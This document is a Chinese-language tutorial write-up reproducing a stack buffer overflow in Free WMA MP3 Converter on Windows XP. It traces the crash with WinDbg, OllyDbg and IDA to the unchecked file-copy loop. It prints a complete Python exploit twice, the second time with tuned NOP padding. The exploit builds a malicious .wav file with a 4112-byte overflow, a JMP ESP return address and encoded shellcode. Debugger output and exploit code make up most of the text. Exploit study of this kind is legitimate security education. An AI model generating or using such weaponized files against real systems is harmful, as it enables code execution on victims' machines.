winxp sp3、windbg、ollydbg、IDA
软件下载地址https://www.exploit-db.com/apps/21fdca9b7d302479e989b9d062a276df-FWMCSetup.exe
Free WMA MP3 Converter,Windows系统上,一个免费的媒体格式转换器。
此漏洞发生在FWMCon.exe的sub_4B0FF4函数由于转换文件格式时,复制音频文件时对音频文件的长度没有进行有效检查,从而导致了缓冲区溢出的发生
这个漏洞是复现学长的漏洞,原文链接见文末。这个漏洞原先调试过一遍,但是第一遍的时候迷迷糊糊的,搞了两天就放弃了,今天看到我同学辉哥的复现学长的博客发现,竟然看懂了,就自己动手复现了一遍。
学长提供的EXP
import struct def little_endian(address): return struct.pack("<L",address) poc="\x41" * 4112 eip=little_endian(0x0045CD1A)#0045CD1A FFE4 JMP ESP nops="\x90" * 80 shellcode=("\xdb\xd7\xd9\x74\x24\xf4\xb8\x79\xc4\x64\xb7\x33\xc9\xb1\x38" "\x5d\x83\xc5\x04\x31\x45\x13\x03\x3c\xd7\x86\x42\x42\x3f\xcf" "\xad\xba\xc0\xb0\x24\x5f\xf1\xe2\x53\x14\xa0\x32\x17\x78\x49" "\xb8\x75\x68\xda\xcc\x51\x9f\x6b\x7a\x84\xae\x6c\x4a\x08\x7c" "\xae\xcc\xf4\x7e\xe3\x2e\xc4\xb1\xf6\x2f\x01\xaf\xf9\x62\xda" "\xa4\xa8\x92\x6f\xf8\x70\x92\xbf\x77\xc8\xec\xba\x47\xbd\x46" "\xc4\x97\x6e\xdc\x8e\x0f\x04\xba\x2e\x2e\xc9\xd8\x13\x79\x66" "\x2a\xe7\x78\xae\x62\x08\x4b\x8e\x29\x37\x64\x03\x33\x7f\x42" "\xfc\x46\x8b\xb1\x81\x50\x48\xc8\x5d\xd4\x4d\x6a\x15\x4e\xb6" "\x8b\xfa\x09\x3d\x87\xb7\x5e\x19\x8b\x46\xb2\x11\xb7\xc3\x35" "\xf6\x3e\x97\x11\xd2\x1b\x43\x3b\x43\xc1\x22\x44\x93\xad\x9b" "\xe0\xdf\x5f\xcf\x93\xbd\x35\x0e\x11\xb8\x70\x10\x29\xc3\xd2" "\x79\x18\x48\xbd\xfe\xa5\x9b\xfa\xf1\xef\x86\xaa\x99\xa9\x52" "\xef\xc7\x49\x89\x33\xfe\xc9\x38\xcb\x05\xd1\x48\xce\x42\x55" "\xa0\xa2\xdb\x30\xc6\x11\xdb\x10\xa5\xaf\x7f\xcc\x43\xa1\x1b" "\x9d\xe4\x4e\xb8\x32\x72\xc3\x34\xd0\xe9\x10\x87\x46\x91\x37" "\x8b\x15\x7b\xd2\x2b\xbf\x83") exploit = poc + eip + nops + shellcode try: rst= open("bof_WMA MP3 Converter.wav",'w') rst.write(exploit) rst.close() except: print "Error"
为了方便分析,先简化成POC先
import struct poc="\x41" * 4112 eip="\x41" * 4 nops="\x41" * 80 shellcode="\x41"*100 exploit = poc + eip + nops + shellcode try: rst= open("bof_WMA MP3 Converter.wav",'w') rst.write(exploit) rst.close() except: print "Error"
首先用windbg打开Free WMA MP3 Converter程序,输入g命令,运行程序,用程序加载POC文件bof_WMA MP3 Converter.wav
,程序崩溃,windbg定位到崩溃现场。
(1f4.108): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=41414141 ecx=000010c8 edx=000010c8 esi=41414141 edi=41414141
eip=41414141 esp=01e3fee8 ebp=41414141 iopl=0 nv up ei pl nz ac pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010216
41414141 ?? ???
然后kb看一下栈回溯
0:005> kb
ChildEBP RetAddr Args to Child
WARNING: Frame IP not in any known module. Following frames may be wrong.
01e3fee4 41414141 41414141 41414141 41414141 0x41414141
01e3ffa0 00404172 01e3ffdc 00403cc8 01e3ffb4 0x41414141
01e3ffb4 7c80b713 00ba83cc 00000000 e7ffffff image00400000+0x4172
01e3ffec 00000000 00404148 00ba83cc 00000000 kernel32!GetModuleFileNameA+0x1b4
可以看出最上层函数的数据明显已经被完全破覆盖了,所以我们从第二个方法开始调试,其返回地址是00404172
,我们从IDA中找到它的上一个位置00404170
。
重新运行程序,并且用ollydbg在00404170
位置设置断点。运行程序,停在00404170
位置。
00404170 ffd2 call edx {image00400000+0x21a38 (00421a38)}
这条指令call了一个00421a38
位置的函数,那我们单步步入该函数,不断的单步执行。当运行过
00421a6c ff5204 call dword ptr [edx+4] ds:0023:004ac400=004ad250
的时候程序崩溃,说明问题出在,该条指令调用的004ad250
位置的函数中,重新运行程序,并在004ad250
处设置断点,进入该函数后,单步执行,重复上述过程,就会一次碰到这些函数
00404170 ffd2 call edx {image00400000+0x21a38 (00421a38)}
00421a6c ff5204 call dword ptr [edx+4] ds:0023:004ac400=004ad250
004ad284 ff523c call dword ptr [edx+3Ch] ds:0023:004b3f6c=004b4274
004b42c1 e8728dffff call image00400000+0xad038 (004ad038)
004ad067 ff5244 call dword ptr [edx+44h] ds:0023:004aebc0=004ad710
004ad771 ff5268 call dword ptr [edx+68h] ds:0023:004aebe4=004af5fc
004af66f e880190000 call image00400000+0xb0ff4 (004b0ff4)
当进入最后一个004b0ff4
位置的函数时,单步执行就会发现,当代码执行到一个阶段的时候就会不断的循环(这一部分用Ollydbg看会比较明显)。
这个循环是loc_4b102f,loc_4b14b9,loc_4b14e3
这三个函数的互相调用,功能是循环把.wav文件中的数据读入,但是并没有进行文件长度的检查。这个功能可以通过查看ESP中的内容来了解。
第5轮循环:
0:005> p
eax=00000001 ebx=00000005 ecx=7c80189c edx=00000001 esi=00bb301c edi=00000000
eip=004b14bd esp=0194eec8 ebp=004ac384 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
image00400000+0xb14bd:
004b14bd 7424 je image00400000+0xb14e3 (004b14e3) [br=0]
0:005> dd esp
0194eec8 00000000 00000000 00000000 41414141
0194eed8 00000041 00000000 00000000 00000000
0194eee8 00000000 00000000 00000000 00000000
0194eef8 00000000 00000000 00000000 00000000
0194ef08 00000000 00000000 00000000 00000000
0194ef18 00000000 00000000 00000000 00000000
0194ef28 00000000 00000000 00000000 00000000
0194ef38 00000000 00000000 00000000 00000000
第6轮循环:
0:005> p
eax=00000001 ebx=00000006 ecx=7c80189c edx=00000001 esi=00bb301c edi=00000000
eip=004b14bd esp=0194eec8 ebp=004ac384 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
image00400000+0xb14bd:
004b14bd 7424 je image00400000+0xb14e3 (004b14e3) [br=0]
0:005> dd esp
0194eec8 00000000 00000000 00000000 41414141
0194eed8 00004141 00000000 00000000 00000000
0194eee8 00000000 00000000 00000000 00000000
0194eef8 00000000 00000000 00000000 00000000
0194ef08 00000000 00000000 00000000 00000000
0194ef18 00000000 00000000 00000000 00000000
0194ef28 00000000 00000000 00000000 00000000
0194ef38 00000000 00000000 00000000 00000000
从上面的信息可以看出,每执行一轮,就会读入一个字符,并且EBX会记录执行的次数,就是读入的的字符数目。
使用条件断点,执行到文件末尾的位置。从POC中可以看出.wav文件的长度是(4112+4+80+100)=4296=10C8H,所以我们可以设置到EBX=10C4的位置。
bp 004b14e9 ".if(ebx==10c4){;}.else{g;}
下面是执行记录
0:005> bp 004b14e9 ".if(ebx==10c4){;}.else{g;}"
0:005> dd esp
0194eec8 00000000 00000000 00000000 41414141
0194eed8 00004141 00000000 00000000 00000000
0194eee8 00000000 00000000 00000000 00000000
0194eef8 00000000 00000000 00000000 00000000
0194ef08 00000000 00000000 00000000 00000000
0194ef18 00000000 00000000 00000000 00000000
0194ef28 00000000 00000000 00000000 00000000
0194ef38 00000000 00000000 00000000 00000000
0:005> g
eax=00000000 ebx=000010c4 ecx=000010c4 edx=000010c8 esi=00bb301c edi=00000000
eip=004b14e9 esp=0194eec8 ebp=004ac384 iopl=0 nv up ei ng nz na po cy
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000283
image00400000+0xb14e9:
004b14e9 0f8c40fbffff jl image00400000+0xb102f (004b102f) [br=1]
0:005> dd esp
0194eec8 00000000 00000000 00000000 41414141
0194eed8 41414141 41414141 41414141 41414141
0194eee8 41414141 41414141 41414141 41414141
0194eef8 41414141 41414141 41414141 41414141
0194ef08 41414141 41414141 41414141 41414141
0194ef18 41414141 41414141 41414141 41414141
0194ef28 41414141 41414141 41414141 41414141
0194ef38 41414141 41414141 41414141 41414141
可以明显看出,此时站空间已经被完全覆盖了。而且上面循环拷贝的三个函数loc_4b102f,loc_4b14b9,loc_4b14e3
,均处于004b0ff4
函数中,那么该函数就是漏洞函数。
上面是确定,漏洞的位置和漏洞的成因,接下来分析怎么利用,就是分析文章开头提供的EXP。
在IDA中查找004b0ff4
位置。
图中箭头所指的参数的含义是,该函数从栈底1010h处开始存储变量。所以该位置到EBP的偏移是1010H,即4112个字符,就是EXP中的poc="\x41" * 4112
,填充完字符以后,紧接着的四个字符的位置就是返回地址的位置,该EXP使用的是jmp esp的方法,所以后面的字符指向FFE4中的jmp esp的位置。
shellcode的作用是弹出计算器,nops抬高栈顶,保护shellcode。但是这里我在实际运行的时候出现了一个问题,就是当nops的数量设置为10~30的时候会弹出计算器,并且崩溃,当0~10或者30~80的时候,就只是崩溃,应该是shellcode被破坏了。具体的情况还有待探究。
所以我最后的EXP是
import struct def little_endian(address): return struct.pack("<L",address) poc="\x41" * 4112 eip=little_endian(0x0045CD1A)#0045CD1A FFE4 JMP ESP nops="\x90" * 20 shellcode=("\xdb\xd7\xd9\x74\x24\xf4\xb8\x79\xc4\x64\xb7\x33\xc9\xb1\x38" "\x5d\x83\xc5\x04\x31\x45\x13\x03\x3c\xd7\x86\x42\x42\x3f\xcf" "\xad\xba\xc0\xb0\x24\x5f\xf1\xe2\x53\x14\xa0\x32\x17\x78\x49" "\xb8\x75\x68\xda\xcc\x51\x9f\x6b\x7a\x84\xae\x6c\x4a\x08\x7c" "\xae\xcc\xf4\x7e\xe3\x2e\xc4\xb1\xf6\x2f\x01\xaf\xf9\x62\xda" "\xa4\xa8\x92\x6f\xf8\x70\x92\xbf\x77\xc8\xec\xba\x47\xbd\x46" "\xc4\x97\x6e\xdc\x8e\x0f\x04\xba\x2e\x2e\xc9\xd8\x13\x79\x66" "\x2a\xe7\x78\xae\x62\x08\x4b\x8e\x29\x37\x64\x03\x33\x7f\x42" "\xfc\x46\x8b\xb1\x81\x50\x48\xc8\x5d\xd4\x4d\x6a\x15\x4e\xb6" "\x8b\xfa\x09\x3d\x87\xb7\x5e\x19\x8b\x46\xb2\x11\xb7\xc3\x35" "\xf6\x3e\x97\x11\xd2\x1b\x43\x3b\x43\xc1\x22\x44\x93\xad\x9b" "\xe0\xdf\x5f\xcf\x93\xbd\x35\x0e\x11\xb8\x70\x10\x29\xc3\xd2" "\x79\x18\x48\xbd\xfe\xa5\x9b\xfa\xf1\xef\x86\xaa\x99\xa9\x52" "\xef\xc7\x49\x89\x33\xfe\xc9\x38\xcb\x05\xd1\x48\xce\x42\x55" "\xa0\xa2\xdb\x30\xc6\x11\xdb\x10\xa5\xaf\x7f\xcc\x43\xa1\x1b" "\x9d\xe4\x4e\xb8\x32\x72\xc3\x34\xd0\xe9\x10\x87\x46\x91\x37" "\x8b\x15\x7b\xd2\x2b\xbf\x83") exploit = poc + eip + nops + shellcode try: rst= open("bof_WMA MP3 Converter.wav",'w') rst.write(exploit) rst.close() except: print "Error"